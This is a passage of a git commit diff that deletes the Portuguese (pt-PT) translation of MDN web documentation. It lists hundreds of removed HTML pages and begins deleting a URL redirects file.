files/pt-pt/tools/remote_debugging/debugging_firefox_desktop/index.html delete mode 100644 files/pt-pt/tools/remote_debugging/index.html delete mode 100644 files/pt-pt/tools/remote_debugging/thunderbird/index.html delete mode 100644 files/pt-pt/tools/responsive_design_mode/index.html delete mode 100644 files/pt-pt/tools/settings/index.html delete mode 100644 files/pt-pt/tools/storage_inspector/index.html delete mode 100644 files/pt-pt/tools/style_editor/index.html delete mode 100644 files/pt-pt/tools/taking_screenshots/index.html delete mode 100644 files/pt-pt/tools/tools_toolbox/index.html delete mode 100644 files/pt-pt/tools/web_audio_editor/index.html delete mode 100644 files/pt-pt/tools/web_console/console_messages/index.html delete mode 100644 files/pt-pt/tools/web_console/helpers/index.html delete mode 100644 files/pt-pt/tools/web_console/index.html delete mode 100644 files/pt-pt/tools/web_console/keyboard_shortcuts/index.html delete mode 100644 files/pt-pt/tools/web_console/rich_output/index.html delete mode 100644 files/pt-pt/tools/web_console/split_console/index.html delete mode 100644 files/pt-pt/tools/web_console/the_command_line_interpreter/index.html delete mode 100644 files/pt-pt/tools/web_console/ui_tour/index.html delete mode 100644 files/pt-pt/web/accessibility/aria/aria_techniques/index.html delete mode 100644 files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html delete mode 100644 files/pt-pt/web/accessibility/aria/index.html delete mode 100644 files/pt-pt/web/accessibility/index.html delete mode 100644 files/pt-pt/web/api/ambient_light_events/index.html delete mode 100644 files/pt-pt/web/api/animation/index.html delete mode 100644 files/pt-pt/web/api/audionode/index.html delete mode 100644 files/pt-pt/web/api/battery_status_api/index.html delete mode 100644 files/pt-pt/web/api/blob/blob/index.html delete mode 100644 files/pt-pt/web/api/blob/index.html delete mode 100644 files/pt-pt/web/api/blob/size/index.html delete mode 100644 files/pt-pt/web/api/blob/type/index.html delete mode 100644 files/pt-pt/web/api/canvas_api/index.html delete mode 100644 files/pt-pt/web/api/canvas_api/tutorial/index.html delete mode 100644 files/pt-pt/web/api/client/index.html delete mode 100644 files/pt-pt/web/api/closeevent/closeevent/index.html delete mode 100644 files/pt-pt/web/api/closeevent/index.html delete mode 100644 files/pt-pt/web/api/document/alinkcolor/index.html delete mode 100644 files/pt-pt/web/api/document/bgcolor/index.html delete mode 100644 files/pt-pt/web/api/document/cookie/index.html delete mode 100644 files/pt-pt/web/api/document/dir/index.html delete mode 100644 files/pt-pt/web/api/document/getelementsbyclassname/index.html delete mode 100644 files/pt-pt/web/api/document/index.html delete mode 100644 files/pt-pt/web/api/document/queryselector/index.html delete mode 100644 files/pt-pt/web/api/document/visibilitychange_event/index.html delete mode 100644 files/pt-pt/web/api/document_object_model/index.html delete mode 100644 files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html delete mode 100644 files/pt-pt/web/api/domstring/index.html delete mode 100644 files/pt-pt/web/api/element/clientleft/index.html delete mode 100644 files/pt-pt/web/api/element/clienttop/index.html delete mode 100644 files/pt-pt/web/api/element/index.html delete mode 100644 files/pt-pt/web/api/file/file/index.html delete mode 100644 files/pt-pt/web/api/file/filename/index.html delete mode 100644 files/pt-pt/web/api/file/filesize/index.html delete mode 100644 files/pt-pt/web/api/file/getasbinary/index.html delete mode 100644 files/pt-pt/web/api/file/getasdataurl/index.html delete mode 100644 files/pt-pt/web/api/file/getastext/index.html delete mode 100644 files/pt-pt/web/api/file/index.html delete mode 100644 files/pt-pt/web/api/file/lastmodified/index.html delete mode 100644 files/pt-pt/web/api/file/lastmodifieddate/index.html delete mode 100644 files/pt-pt/web/api/file/mozfullpath/index.html delete mode 100644 files/pt-pt/web/api/file/name/index.html delete mode 100644 files/pt-pt/web/api/file/type/index.html delete mode 100644 files/pt-pt/web/api/file/webkitrelativepath/index.html delete mode 100644 files/pt-pt/web/api/file_and_directory_entries_api/index.html delete mode 100644 files/pt-pt/web/api/filereader/abort/index.html delete mode 100644 files/pt-pt/web/api/filereader/error/index.html delete mode 100644 files/pt-pt/web/api/filereader/index.html delete mode 100644 files/pt-pt/web/api/filereader/readasarraybuffer/index.html delete mode 100644 files/pt-pt/web/api/filereader/readasbinarystring/index.html delete mode 100644 files/pt-pt/web/api/filereader/readasdataurl/index.html delete mode 100644 files/pt-pt/web/api/filereader/readastext/index.html delete mode 100644 files/pt-pt/web/api/filereader/readystate/index.html delete mode 100644 files/pt-pt/web/api/filereader/result/index.html delete mode 100644 files/pt-pt/web/api/filesystem/index.html delete mode 100644 files/pt-pt/web/api/geolocation/index.html delete mode 100644 files/pt-pt/web/api/geolocation_api/index.html delete mode 100644 files/pt-pt/web/api/index.html delete mode 100644 files/pt-pt/web/api/mathmlelement/index.html delete mode 100644 files/pt-pt/web/api/media_streams_api/index.html delete mode 100644 files/pt-pt/web/api/mediadevices/index.html delete mode 100644 files/pt-pt/web/api/messageevent/index.html delete mode 100644 files/pt-pt/web/api/metadata/index.html delete mode 100644 files/pt-pt/web/api/navigatoronline/index.html delete mode 100644 files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html delete mode 100644 files/pt-pt/web/api/node/appendchild/index.html delete mode 100644 files/pt-pt/web/api/node/clonenode/index.html delete mode 100644 files/pt-pt/web/api/node/index.html delete mode 100644 files/pt-pt/web/api/node/insertbefore/index.html delete mode 100644 files/pt-pt/web/api/notification/index.html delete mode 100644 files/pt-pt/web/api/notifications_api/index.html delete mode 100644 files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html delete mode 100644 files/pt-pt/web/api/page_visibility_api/index.html delete mode 100644 files/pt-pt/web/api/push_api/index.html delete mode 100644 files/pt-pt/web/api/selection/index.html delete mode 100644 files/pt-pt/web/api/service_worker_api/index.html delete mode 100644 files/pt-pt/web/api/service_worker_api/using_service_workers/index.html delete mode 100644 files/pt-pt/web/api/sharedworker/index.html delete mode 100644 files/pt-pt/web/api/storage_api/index.html delete mode 100644 files/pt-pt/web/api/urlsearchparams/index.html delete mode 100644 files/pt-pt/web/api/web_audio_api/index.html delete mode 100644 files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html delete mode 100644 files/pt-pt/web/api/web_authentication_api/index.html delete mode 100644 files/pt-pt/web/api/web_storage_api/index.html delete mode 100644 files/pt-pt/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html delete mode 100644 files/pt-pt/web/api/web_workers_api/index.html delete mode 100644 files/pt-pt/web/api/web_workers_api/using_web_workers/index.html delete mode 100644 files/pt-pt/web/api/webgl_api/constants/index.html delete mode 100644 files/pt-pt/web/api/webgl_api/data/index.html delete mode 100644 files/pt-pt/web/api/webgl_api/index.html delete mode 100644 files/pt-pt/web/api/webgl_api/types/index.html delete mode 100644 files/pt-pt/web/api/webgl_api/using_extensions/index.html delete mode 100644 files/pt-pt/web/api/webglrenderingcontext/index.html delete mode 100644 files/pt-pt/web/api/webrtc_api/index.html delete mode 100644 files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html delete mode 100644 files/pt-pt/web/api/websocket/index.html delete mode 100644 files/pt-pt/web/api/websocket/websocket/index.html delete mode 100644 files/pt-pt/web/api/websockets_api/index.html delete mode 100644 files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html delete mode 100644 files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html delete mode 100644 files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html delete mode 100644 files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html delete mode 100644 files/pt-pt/web/api/window/console/index.html delete mode 100644 files/pt-pt/web/api/window/index.html delete mode 100644 files/pt-pt/web/api/window/open/index.html delete mode 100644 files/pt-pt/web/api/window/postmessage/index.html delete mode 100644 files/pt-pt/web/api/window/sidebar/index.html delete mode 100644 files/pt-pt/web/api/worker/index.html delete mode 100644 files/pt-pt/web/api/xmlhttprequest/index.html delete mode 100644 files/pt-pt/web/css/@font-face/index.html delete mode 100644 files/pt-pt/web/css/@import/index.html delete mode 100644 files/pt-pt/web/css/@media/index.html delete mode 100644 files/pt-pt/web/css/_doublecolon_after/index.html delete mode 100644 files/pt-pt/web/css/_doublecolon_before/index.html delete mode 100644 files/pt-pt/web/css/alternative_style_sheets/index.html delete mode 100644 files/pt-pt/web/css/at-rule/index.html delete mode 100644 files/pt-pt/web/css/background-attachment/index.html delete mode 100644 files/pt-pt/web/css/background-color/index.html delete mode 100644 files/pt-pt/web/css/background-image/index.html delete mode 100644 files/pt-pt/web/css/background-position/index.html delete mode 100644 files/pt-pt/web/css/background-repeat/index.html delete mode 100644 files/pt-pt/web/css/background/index.html delete mode 100644 files/pt-pt/web/css/border-bottom-color/index.html delete mode 100644 files/pt-pt/web/css/border-bottom-style/index.html delete mode 100644 files/pt-pt/web/css/border-bottom-width/index.html delete mode 100644 files/pt-pt/web/css/border-bottom/index.html delete mode 100644 files/pt-pt/web/css/border-collapse/index.html delete mode 100644 files/pt-pt/web/css/border-color/index.html delete mode 100644 files/pt-pt/web/css/border-left-color/index.html delete mode 100644 files/pt-pt/web/css/border-left-style/index.html delete mode 100644 files/pt-pt/web/css/border-left-width/index.html delete mode 100644 files/pt-pt/web/css/border-left/index.html delete mode 100644 files/pt-pt/web/css/border-right-color/index.html delete mode 100644 files/pt-pt/web/css/border-right-style/index.html delete mode 100644 files/pt-pt/web/css/border-right-width/index.html delete mode 100644 files/pt-pt/web/css/border-right/index.html delete mode 100644 files/pt-pt/web/css/border-spacing/index.html delete mode 100644 files/pt-pt/web/css/border-top-color/index.html delete mode 100644 files/pt-pt/web/css/border-top-style/index.html delete mode 100644 files/pt-pt/web/css/border-top-width/index.html delete mode 100644 files/pt-pt/web/css/border-top/index.html delete mode 100644 files/pt-pt/web/css/border-width/index.html delete mode 100644 files/pt-pt/web/css/border/index.html delete mode 100644 files/pt-pt/web/css/bottom/index.html delete mode 100644 files/pt-pt/web/css/clear/index.html delete mode 100644 files/pt-pt/web/css/color/index.html delete mode 100644 files/pt-pt/web/css/content/index.html delete mode 100644 files/pt-pt/web/css/counter-increment/index.html delete mode 100644 files/pt-pt/web/css/counter-reset/index.html delete mode 100644 files/pt-pt/web/css/css_backgrounds_and_borders/index.html delete mode 100644 files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html delete mode 100644 files/pt-pt/web/css/css_box_model/index.html delete mode 100644 files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html delete mode 100644 files/pt-pt/web/css/css_colors/color_picker_tool/index.html delete mode 100644 files/pt-pt/web/css/css_columns/index.html delete mode 100644 files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html delete mode 100644 files/pt-pt/web/css/css_flexible_box_layout/index.html delete mode 100644 files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html delete mode 100644 files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html delete mode 100644 files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html delete mode 100644 files/pt-pt/web/css/css_grid_layout/index.html delete mode 100644 files/pt-pt/web/css/css_transforms/using_css_transforms/index.html delete mode 100644 files/pt-pt/web/css/css_types/index.html delete mode 100644 files/pt-pt/web/css/cursor/index.html delete mode 100644 files/pt-pt/web/css/direction/index.html delete mode 100644 files/pt-pt/web/css/display/index.html delete mode 100644 files/pt-pt/web/css/float/index.html delete mode 100644 files/pt-pt/web/css/font-size-adjust/index.html delete mode 100644 files/pt-pt/web/css/font-size/index.html delete mode 100644 files/pt-pt/web/css/font-smooth/index.html delete mode 100644 files/pt-pt/web/css/font-style/index.html delete mode 100644 files/pt-pt/web/css/font-weight/index.html delete mode 100644 files/pt-pt/web/css/font/index.html delete mode 100644 files/pt-pt/web/css/gap/index.html delete mode 100644 files/pt-pt/web/css/height/index.html delete mode 100644 files/pt-pt/web/css/index.html delete mode 100644 files/pt-pt/web/css/inherit/index.html delete mode 100644 files/pt-pt/web/css/list-style/index.html delete mode 100644 files/pt-pt/web/css/media_queries/index.html delete mode 100644 files/pt-pt/web/css/media_queries/using_media_queries/index.html delete mode 100644 files/pt-pt/web/css/paged_media/index.html delete mode 100644 files/pt-pt/web/css/pseudo-classes/index.html delete mode 100644 files/pt-pt/web/css/pseudo-elements/index.html delete mode 100644 files/pt-pt/web/css/reference/index.html delete mode 100644 files/pt-pt/web/css/replaced_element/index.html delete mode 100644 files/pt-pt/web/css/shorthand_properties/index.html delete mode 100644 files/pt-pt/web/css/top/index.html delete mode 100644 files/pt-pt/web/css/transform/index.html delete mode 100644 files/pt-pt/web/css/width/index.html delete mode 100644 files/pt-pt/web/css/z-index/index.html delete mode 100644 files/pt-pt/web/events/index.html delete mode 100644 files/pt-pt/web/guide/ajax/community/index.html delete mode 100644 files/pt-pt/web/guide/ajax/getting_started/index.html delete mode 100644 files/pt-pt/web/guide/ajax/index.html delete mode 100644 files/pt-pt/web/guide/graphics/index.html delete mode 100644 files/pt-pt/web/guide/html/content_categories/index.html delete mode 100644 files/pt-pt/web/guide/html/html5/html5_parser/index.html delete mode 100644 files/pt-pt/web/guide/html/html5/index.html delete mode 100644 files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html delete mode 100644 files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html delete mode 100644 files/pt-pt/web/guide/index.html delete mode 100644 files/pt-pt/web/html/applying_color/index.html delete mode 100644 files/pt-pt/web/html/attributes/crossorigin/index.html delete mode 100644 files/pt-pt/web/html/attributes/index.html delete mode 100644 files/pt-pt/web/html/attributes/rel/index.html delete mode 100644 files/pt-pt/web/html/element/audio/index.html delete mode 100644 files/pt-pt/web/html/element/fieldset/index.html delete mode 100644 files/pt-pt/web/html/element/figcaption/index.html delete mode 100644 files/pt-pt/web/html/element/figure/index.html delete mode 100644 files/pt-pt/web/html/element/head/index.html delete mode 100644 files/pt-pt/web/html/element/index.html delete mode 100644 files/pt-pt/web/html/element/nav/index.html delete mode 100644 files/pt-pt/web/html/element/progress/index.html delete mode 100644 files/pt-pt/web/html/element/video/index.html delete mode 100644 files/pt-pt/web/html/global_attributes/index.html delete mode 100644 files/pt-pt/web/html/index.html delete mode 100644 files/pt-pt/web/html/link_types/index.html delete mode 100644 files/pt-pt/web/html/reference/index.html delete mode 100644 files/pt-pt/web/http/cors/errors/corsdidnotsucceed/index.html delete mode 100644 files/pt-pt/web/http/cors/errors/index.html delete mode 100644 files/pt-pt/web/http/cors/index.html delete mode 100644 files/pt-pt/web/http/headers/allow/index.html delete mode 100644 files/pt-pt/web/http/headers/index.html delete mode 100644 files/pt-pt/web/http/headers/x-content-type-options/index.html delete mode 100644 files/pt-pt/web/http/index.html delete mode 100644 files/pt-pt/web/http/proxy_servers_and_tunneling/index.html delete mode 100644 files/pt-pt/web/http/status/205/index.html delete mode 100644 files/pt-pt/web/http/status/405/index.html delete mode 100644 files/pt-pt/web/http/status/502/index.html delete mode 100644 files/pt-pt/web/http/status/504/index.html delete mode 100644 files/pt-pt/web/http/status/index.html delete mode 100644 files/pt-pt/web/index.html delete mode 100644 files/pt-pt/web/javascript/data_structures/index.html delete mode 100644 files/pt-pt/web/javascript/guide/details_of_the_object_model/index.html delete mode 100644 files/pt-pt/web/javascript/guide/grammar_and_types/index.html delete mode 100644 files/pt-pt/web/javascript/guide/index.html delete mode 100644 files/pt-pt/web/javascript/guide/introduction/index.html delete mode 100644 files/pt-pt/web/javascript/index.html delete mode 100644 files/pt-pt/web/javascript/memory_management/index.html delete mode 100644 files/pt-pt/web/javascript/reference/about/index.html delete mode 100644 files/pt-pt/web/javascript/reference/classes/index.html delete mode 100644 files/pt-pt/web/javascript/reference/classes/static/index.html delete mode 100644 files/pt-pt/web/javascript/reference/deprecated_and_obsolete_features/index.html delete mode 100644 files/pt-pt/web/javascript/reference/errors/index.html delete mode 100644 files/pt-pt/web/javascript/reference/errors/not_a_function/index.html delete mode 100644 files/pt-pt/web/javascript/reference/errors/stmt_after_return/index.html delete mode 100644 files/pt-pt/web/javascript/reference/errors/unexpected_token/index.html delete mode 100644 files/pt-pt/web/javascript/reference/errors/unnamed_function_statement/index.html delete mode 100644 files/pt-pt/web/javascript/reference/functions/arguments/index.html delete mode 100644 files/pt-pt/web/javascript/reference/functions/arrow_functions/index.html delete mode 100644 files/pt-pt/web/javascript/reference/functions/index.html delete mode 100644 files/pt-pt/web/javascript/reference/functions/rest_parameters/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/concat/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/find/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/foreach/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/includes/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/join/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/map/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/pop/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/reverse/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/array/slice/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/arraybuffer/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/asyncfunction/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/boolean/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/encodeuri/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/function/arguments/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/function/call/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/function/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/infinity/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/math/ceil/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/math/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/isfinite/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/isinteger/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/isnan/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/max_value/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/min_value/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/nan/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/negative_infinity/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/tostring/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/object/hasownproperty/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/object/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/string/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/string/indexof/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/string/length/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/string/trim/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/symbol/hasinstance/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/symbol/index.html delete mode 100644 files/pt-pt/web/javascript/reference/index.html delete mode 100644 files/pt-pt/web/javascript/reference/operators/comma_operator/index.html delete mode 100644 files/pt-pt/web/javascript/reference/operators/function/index.html delete mode 100644 files/pt-pt/web/javascript/reference/operators/index.html delete mode 100644 files/pt-pt/web/javascript/reference/operators/operator_precedence/index.html delete mode 100644 files/pt-pt/web/javascript/reference/statements/block/index.html delete mode 100644 files/pt-pt/web/javascript/reference/statements/for/index.html delete mode 100644 files/pt-pt/web/javascript/reference/statements/index.html delete mode 100644 files/pt-pt/web/javascript/reference/statements/return/index.html delete mode 100644 files/pt-pt/web/javascript/reference/statements/throw/index.html delete mode 100644 files/pt-pt/web/javascript/shells/index.html delete mode 100644 files/pt-pt/web/manifest/index.html delete mode 100644 files/pt-pt/web/mathml/attribute/index.html delete mode 100644 files/pt-pt/web/mathml/attribute/values/index.html delete mode 100644 files/pt-pt/web/mathml/authoring/index.html delete mode 100644 files/pt-pt/web/mathml/element/index.html delete mode 100644 files/pt-pt/web/mathml/element/maction/index.html delete mode 100644 files/pt-pt/web/mathml/element/math/index.html delete mode 100644 files/pt-pt/web/mathml/element/menclose/index.html delete mode 100644 files/pt-pt/web/mathml/element/merror/index.html delete mode 100644 files/pt-pt/web/mathml/element/mfenced/index.html delete mode 100644 files/pt-pt/web/mathml/element/mfrac/index.html delete mode 100644 files/pt-pt/web/mathml/element/mi/index.html delete mode 100644 files/pt-pt/web/mathml/element/mmultiscripts/index.html delete mode 100644 files/pt-pt/web/mathml/element/mn/index.html delete mode 100644 files/pt-pt/web/mathml/element/mo/index.html delete mode 100644 files/pt-pt/web/mathml/element/mover/index.html delete mode 100644 files/pt-pt/web/mathml/element/mpadded/index.html delete mode 100644 files/pt-pt/web/mathml/element/mphantom/index.html delete mode 100644 files/pt-pt/web/mathml/element/mroot/index.html delete mode 100644 files/pt-pt/web/mathml/element/mrow/index.html delete mode 100644 files/pt-pt/web/mathml/element/ms/index.html delete mode 100644 files/pt-pt/web/mathml/element/mspace/index.html delete mode 100644 files/pt-pt/web/mathml/element/msqrt/index.html delete mode 100644 files/pt-pt/web/mathml/element/mstyle/index.html delete mode 100644 files/pt-pt/web/mathml/element/msub/index.html delete mode 100644 files/pt-pt/web/mathml/element/msubsup/index.html delete mode 100644 files/pt-pt/web/mathml/element/msup/index.html delete mode 100644 files/pt-pt/web/mathml/element/mtable/index.html delete mode 100644 files/pt-pt/web/mathml/element/mtd/index.html delete mode 100644 files/pt-pt/web/mathml/element/mtext/index.html delete mode 100644 files/pt-pt/web/mathml/element/mtr/index.html delete mode 100644 files/pt-pt/web/mathml/element/munder/index.html delete mode 100644 files/pt-pt/web/mathml/element/munderover/index.html delete mode 100644 files/pt-pt/web/mathml/element/semantics/index.html delete mode 100644 files/pt-pt/web/mathml/examples/deriving_the_quadratic_formula/index.html delete mode 100644 files/pt-pt/web/mathml/examples/index.html delete mode 100644 files/pt-pt/web/mathml/examples/mathml_pythagorean_theorem/index.html delete mode 100644 files/pt-pt/web/mathml/index.html delete mode 100644 files/pt-pt/web/mathml/index/index.html delete mode 100644 files/pt-pt/web/opensearch/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/developer_guide/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/responsive/media_types/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html delete mode 100644 files/pt-pt/web/reference/api/index.html delete mode 100644 files/pt-pt/web/reference/index.html delete mode 100644 files/pt-pt/web/security/index.html delete mode 100644 files/pt-pt/web/security/insecure_passwords/index.html delete mode 100644 files/pt-pt/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html delete mode 100644 files/pt-pt/web/security/mixed_content/index.html delete mode 100644 files/pt-pt/web/security/same-origin_policy/index.html delete mode 100644 files/pt-pt/web/security/secure_contexts/index.html delete mode 100644 files/pt-pt/web/svg/applying_svg_effects_to_html_content/index.html delete mode 100644 files/pt-pt/web/svg/element/index.html delete mode 100644 files/pt-pt/web/svg/index.html delete mode 100644 files/pt-pt/web/svg/namespaces_crash_course/example/index.html delete mode 100644 files/pt-pt/web/svg/namespaces_crash_course/index.html delete mode 100644 files/pt-pt/web/svg/svg_animation_with_smil/index.html delete mode 100644 files/pt-pt/web/svg/tutorial/index.html delete mode 100644 files/pt-pt/web/svg/tutorial/introduction/index.html delete mode 100644 files/pt-pt/web/svg/tutorial/svg_and_css/index.html delete mode 100644 files/pt-pt/web/svg/tutorial/svg_in_html_introduction/index.html delete mode 100644 files/pt-pt/web/tutorials/index.html delete mode 100644 files/pt-pt/web/web_components/index.html delete mode 100644 files/pt-pt/web/xml/index.html delete mode 100644 files/pt-pt/web/xml/xml_introduction/index.html delete mode 100644 files/pt-pt/web/xslt/index.html delete mode 100644 files/pt-pt/webassembly/index.html delete mode 100644 files/pt-pt/webassembly/using_the_javascript_api/index.html (limited to 'files/pt-pt') diff --git a/files/pt-pt/_redirects.txt b/files/pt-pt/_redirects.txt deleted file mode 100644 index b0461a417d..0000000000 --- a/files/pt-pt/_redirects.txt +++ /dev/null @@ -1,1035 +0,0 @@ -# DO NOT EDIT THIS FILE MANUALLY. -# Use the CLI instead: -# -# yarn content add-redirect -# -# FROM-URL TO-URL -/pt-PT/docs/AJAX /pt-PT/docs/Web/Guide/AJAX -/pt-PT/docs/AJAX/Como_começar /pt-PT/docs/Web/Guide/AJAX/Getting_Started -/pt-PT/docs/AJAX:Como_começar /pt-PT/docs/Web/Guide/AJAX/Getting_Started -/pt-PT/docs/Acentuação_para_conteúdos_carregados_por_AJAX /pt-PT/docs/orphaned/Acentuação_para_conteúdos_carregados_por_AJAX -/pt-PT/docs/Acessibilidade /pt-PT/docs/Web/Accessibility -/pt-PT/docs/Atualizando_extensões_para_o_Firefox_3 /pt-PT/docs/Mozilla/Firefox/Releases/3/Updating_extensions -/pt-PT/docs/Atualizando_extensões_para_o_Firefox_3.5 /pt-PT/docs/Mozilla/Firefox/Releases/3.5/Updating_extensions -/pt-PT/docs/CSS /pt-PT/docs/Web/CSS -/pt-PT/docs/CSS/:after /pt-PT/docs/Web/CSS/::after -/pt-PT/docs/CSS/:before /pt-PT/docs/Web/CSS/::before -/pt-PT/docs/CSS/@font-face /pt-PT/docs/Web/CSS/@font-face -/pt-PT/docs/CSS/@import /pt-PT/docs/Web/CSS/@import -/pt-PT/docs/CSS/@media /pt-PT/docs/Web/CSS/@media -/pt-PT/docs/CSS/Como_começar /pt-PT/docs/Learn/CSS/First_steps -/pt-PT/docs/CSS/Como_começar/CSS_legível /pt-PT/docs/Learn/CSS/First_steps/How_CSS_is_structured -/pt-PT/docs/CSS/Como_começar/Caixas /pt-PT/docs/Learn/CSS/Building_blocks -/pt-PT/docs/CSS/Como_começar/Cascata_e_herança /pt-PT/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance -/pt-PT/docs/CSS/Como_começar/Como_o_CSS_trabalha /pt-PT/docs/Learn/CSS/First_steps/How_CSS_works -/pt-PT/docs/CSS/Como_começar/Conteúdo /pt-PT/docs/Learn/CSS/Howto/Generated_content -/pt-PT/docs/CSS/Como_começar/Cor /pt-PT/docs/Learn/CSS/Building_blocks/Values_and_units -/pt-PT/docs/CSS/Como_começar/Dados_XML /pt-PT/docs/Web/CSS/Como_começar/Dados_XML -/pt-PT/docs/CSS/Como_começar/Disposição /pt-PT/docs/Learn/CSS/CSS_layout -/pt-PT/docs/CSS/Como_começar/Estilos_de_texto /pt-PT/docs/Learn/CSS/Styling_text/Fundamentals -/pt-PT/docs/CSS/Como_começar/Gráficos_SVG /pt-PT/docs/Web/SVG/Tutorial/SVG_and_CSS -/pt-PT/docs/CSS/Como_começar/Interfaces_de_usuário_XUL /pt-PT/docs/Web/CSS/Como_começar/Interfaces_de_usuário_XUL -/pt-PT/docs/CSS/Como_começar/JavaScript /pt-PT/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -/pt-PT/docs/CSS/Como_começar/Listas /pt-PT/docs/Learn/CSS/Styling_text/Styling_lists -/pt-PT/docs/CSS/Como_começar/Mídia /pt-PT/docs/Web/Progressive_web_apps/Responsive/Media_types -/pt-PT/docs/CSS/Como_começar/O_que_é_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works -/pt-PT/docs/CSS/Como_começar/O_que_é_CSS? /pt-PT/docs/orphaned/Web/CSS/Como_começar/O_que_é_CSS? -/pt-PT/docs/CSS/Como_começar/Porque_usar_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460 -/pt-PT/docs/CSS/Como_começar/Seletores /pt-PT/docs/Learn/CSS/Building_blocks/Selectors -/pt-PT/docs/CSS/Como_começar/Tabelas /pt-PT/docs/Learn/CSS/Building_blocks/Styling_tables -/pt-PT/docs/CSS/Consulta_de_mídia /pt-PT/docs/Web/CSS/Media_Queries/Using_media_queries -/pt-PT/docs/CSS/Getting_Started/JavaScript /pt-PT/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -/pt-PT/docs/CSS/Múltiplos_fundos /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -/pt-PT/docs/CSS/Múltiplos_planos_de_fundo /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -/pt-PT/docs/CSS/Usando_transformações_CSS /pt-PT/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms -/pt-PT/docs/CSS/azimuth /pt-PT/docs/Web/CSS/azimuth -/pt-PT/docs/CSS/background /pt-PT/docs/Web/CSS/background -/pt-PT/docs/CSS/background-attachment /pt-PT/docs/Web/CSS/background-attachment -/pt-PT/docs/CSS/background-color /pt-PT/docs/Web/CSS/background-color -/pt-PT/docs/CSS/background-image /pt-PT/docs/Web/CSS/background-image -/pt-PT/docs/CSS/background-position /pt-PT/docs/Web/CSS/background-position -/pt-PT/docs/CSS/background-repeat /pt-PT/docs/Web/CSS/background-repeat -/pt-PT/docs/CSS/border /pt-PT/docs/Web/CSS/border -/pt-PT/docs/CSS/border-bottom /pt-PT/docs/Web/CSS/border-bottom -/pt-PT/docs/CSS/border-bottom-color /pt-PT/docs/Web/CSS/border-bottom-color -/pt-PT/docs/CSS/border-bottom-style /pt-PT/docs/Web/CSS/border-bottom-style -/pt-PT/docs/CSS/border-bottom-width /pt-PT/docs/Web/CSS/border-bottom-width -/pt-PT/docs/CSS/border-collapse /pt-PT/docs/Web/CSS/border-collapse 